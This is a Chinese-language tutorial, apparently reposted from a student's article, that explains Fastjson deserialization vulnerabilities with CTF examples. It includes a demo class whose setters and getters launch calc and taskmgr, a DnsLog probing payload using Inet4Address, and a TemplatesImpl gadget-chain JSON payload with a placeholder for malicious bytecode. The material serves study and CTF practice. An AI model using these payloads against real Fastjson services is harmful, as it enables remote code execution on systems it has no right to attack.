本文抄录自FastJson反序列化漏洞复现,是Ec3o学长的文章,超级好懂❀
#概述
Fastjson
是阿里巴巴的开源 JSON
解析库,它可以解析 JSON
格式的字符串,支持将 Java Object
序列化为 JSON
字符串,也可以从 JSON
字符串反序列化到 Java Object
.
Fastjson
提供了两个主要接口来分别实现对于Java Object的序列化和反序列化操作。
- JSON.toJSONString:序列化
- JSON.parseObject/JSON.parse:反序列化
对于Fastjson来讲,并不是所有的Java对象都能被转为JSON,只有Java Bean格式的对象才能Fastjson被转为JSON。
#什么是JavaBean?
JavaBean是一种特殊的 Java 类,它符合一组标准的命名和设计规则,旨在便于使用和集成在各种 Java 应用程序中,尤其是在图形化界面构建工具和框架中。JavaBean 最常用于**数据传输对象 (DTO)**,通常作为简单的容器类,用于封装和传递数据。
一般来说我们的Java Bean要有一个无参构造函数和一些私有的成员变量,附加一些公共的getter
和setter
方法来访问这些属性,也可以附带一些以isType
设计的bool属性方法。
Serializable接口可选,用于实现反序列化.这样的一个Java Bean常常用于数据封装使用。
import java.io.Serializable;
public class User implements Serializable {
private String name;
private int age;
// 无参构造器
public User() {}
// 带参构造器
public User(String name, int age) {
this.name = name;
this.age = age;
}
// Getter方法
public String getName() {
return name;
}
// Setter方法
public void setName(String name) {
this.name = name;
}
// Getter方法
public int getAge() {
return age;
}
// Setter方法
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "User{name='" + name + "', age=" + age + "}";
}
}
#Fastjson中的序列化和反序列化
序列化:
String text = JSON.toJSONString(obj);
反序列化:
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
JsonObject
和JsonArray
是Fastjson
内置的无害默认类,未指定解析的类以及json
数组会被自动解析到该类上.对于类中private
类型的属性值,Fastjson
默认不会将其序列化和反序列化。
#反序列化到对应的类
fastjson
中反序列化到对应的类有两种方法,一种是在parse的时候指定要解析到的类(上例中的第三个例子),一种是通过一种叫做@type
的属性来自动反序列化到@type
指定的类。
package org.example;
public class CTF {
private String flag;
private String team;
private int ID;
public CTF() {
}
public String getFlag() {
return flag;
}
public void setFlag(String flag) {
this.flag = flag;
}
public String getTeam() {
return team;
}
public void setTeam(String team) {
this.team = team;
}
public int getID() {
return ID;
}
public void setID(int ID) {
this.ID = ID;
}
}
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import org.example.CTF;
public class Fastjson_Test {
public static void main(String[] args) {
CTF ctf = new CTF();
ctf.setTeam("Faster");
ctf.setID(1);
ctf.setFlag("flag{test}"); System.out.println(JSON.toJSONString(ctf,SerializerFeature.WriteClassName));
}
}
// SerializerFeature用于控制序列化的细节,这里的writeClassName是用来把类名也包含在序列化后字符串中的设定。
输出:
{"@type":"org.example.CTF","flag":"flag{test}","iD":1,"team":"Faster"}
可见,Fastjson
在JSON字符串中添加了一个@type
字段,用于标识对象所属的类。
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Fastjson_Test {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().addAccept("org.example.");
String JSON_CTF = "{\"@type\":\"org.example.CTF\",\"flag\":\"flag{test}\",\"iD\":1,\"team\":\"Faster\"}";
System.out.println(JSON.parseObject(JSON_CTF, CTF.class));
}
}
// 设定ParserConfig避免报autoType is not support.,也就是添加autoType白名单。
输出:
org.example.CTF@7e32c033
#Fastjson反序列化流程分析
一个bean的属性只能通过getter和setter来进行设定,我们不难猜测在反序列化的过程中会调用指定类的setter来进行属性赋值。
修改一个我们要指定的反序列化的类的setter和getter,让它进行最直观的操作——弹计算器和任务管理器。
package org.example;
import java.io.IOException;
public class Calc {
public String calc;
public Calc() {
System.out.println("调用了构造函数");
}
public String getCalc() throws IOException {
System.out.println("调用了getter");
Runtime.getRuntime().exec("calc");
return calc;
}
public void setCalc(String calc) throws IOException {
this.calc = calc;
Runtime.getRuntime().exec("taskmgr");
System.out.println("调用了setter");
}
}

事实证明在走序列化和反序列化的流程中都会调用目标类的Setter和Getter和构造函数,所以我们的目标就是找一个带有可控恶意参数的getter和setter或是构造函数来实现反序列化攻击。
阅读源码发现,FastJson
在通过@type
获取类之后,通过反射拿到该类所有的方法存入methods
,接下来遍历methods
进而获取getter
、setter
方法。
setter的查找方式:
方法名长度大于4
非静态方法
返回值为void或当前类
方法名以set开头
参数个数为1
getter的查找方式:
方法名长度大于等于4
非静态方法
以get开头且第4个字母为大写
无传入参数
返回值类型继承自
Collection
Map
AtomicBoolean
AtomicInteger
AtomicLong
#DnsLog探测
为了确定某个服务确实存在fastjson反序列化漏洞,首先应该进行试探性的探测,比如利用它来进行Dnslog探测。就直接拿final的题来试试吧:
@PostMapping({"/parse"})
public String parseJson(@RequestBody String json) {
Object obj = JSON.parseObject(json);
return "Parsed: " + obj.getClass().getName();
}
向/parse发送post,body如下:
{
"a": {
"@type": "java.net.Inet4Address",
"val": "test.Your.dnslog.url"
}
}
// 由于fastjson1.2.25及以上的版本的autotype默认为false,要套一层json来防止请求被拦
会得到响应:
Parsed: com.alibaba.fastjson.JSONObject
并且可以发现确实进行了一次DNS查询。
InnetAddress
类有一个getter方法,用于查询真实的IP地址,落到实处也就是进行了一次DNS查询,从而可以进行目标能否进行攻击的探测。
private static InetAddress[] getAddressesFromNameService(String host, InetAddress reqAddr)
throws UnknownHostException
{
InetAddress[] addresses = null;
boolean success = false;
UnknownHostException ex = null;
if ((addresses = checkLookupTable(host)) == null) {
try {
for (NameService nameService : nameServices) {
try {
addresses = nameService.lookupAllHostAddr(host);
success = true;
break;
} catch (UnknownHostException uhe) {
if (host.equalsIgnoreCase("localhost")) {
InetAddress[] local = new InetAddress[] { impl.loopbackAddress() };
addresses = local;
success = true;
break;
}
else {
addresses = unknown_array;
success = false;
ex = uhe;
}
}
}
if (reqAddr != null && addresses.length > 1 && !addresses[0].equals(reqAddr)) {
int i = 1;
for (; i < addresses.length; i++) {
if (addresses[i].equals(reqAddr)) {
break;
}
}
if (i < addresses.length) {
InetAddress tmp, tmp2 = reqAddr;
for (int j = 0; j < i; j++) {
tmp = addresses[j];
addresses[j] = tmp2;
tmp2 = tmp;
}
addresses[i] = tmp2;
}
}
cacheAddresses(host, addresses, success);
if (!success && ex != null)
throw ex;
} finally {
updateLookupTable(host);
}
}
return addresses;
}
#漏洞复现
#TemplatesImpl利用链
Java 9 及后续版本的模块系统限制了对JDK内部模块的访问,因此不好进行攻击。下列代码在Java 8环境下复现
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类中定义了一个内部类
TransletClassLoader
,其中defineClass
没有限制作用域,可以直接被外部调用。
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
这个类里重写了 defineClass
方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass
由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。
向前追溯的调用链如下:
`TemplatesImpl#getOutputProperties()` ->`TemplatesImpl#newTransformer()` ->`TemplatesImpl#getTransletInstance()` ->`TemplatesImpl#defineTransletClasses()`-> `TransletClassLoader#defineClass()`
其中getOutputProperties
属于getter方法,在fastjson
里会被直接调用:
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"<恶意字节码>"
],
"_name": "a.b",
"_tfactory": {},
"_outputProperties": {}
}
对于以上payload,给出以下解释:
在调用
TemplatesImpl
利用链时,defineTransletClasses
方法内部会通过_tfactory
属性调用一个getExternalExtensionsMap
方法,如果_tfactory
属性为null
则会抛出异常,无法根据_bytecodes
属性的内容加载并实例化恶意类getTransletInstance
方法中判断if (_name == null) return null;
所以要给_name
赋值(String)_outputProperties
:json数据在反序列化时会调用TemplatesImpl
类的getOutputProperties
方法触发利用链,可以理解为outputProperties
属性的作用就是为了调用getOutputProperties
方法。由于更改的一些
TemplatesImpl
私有变量没有setter
方法,需要使用Feature.SupportNonPublicField
参数(在反序列化执行函数中,请看后例)。也正是因此,TemplatesImpl
这条链的泛用性不强(fastjson在反序列化时,如果Field类型为
byte[]
,将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行base64解码,对应的,在序列化时也会进行base64编码
恶意字节码就是写一个能弹计算器的类,编译成class然后把字节流再base64一下导出来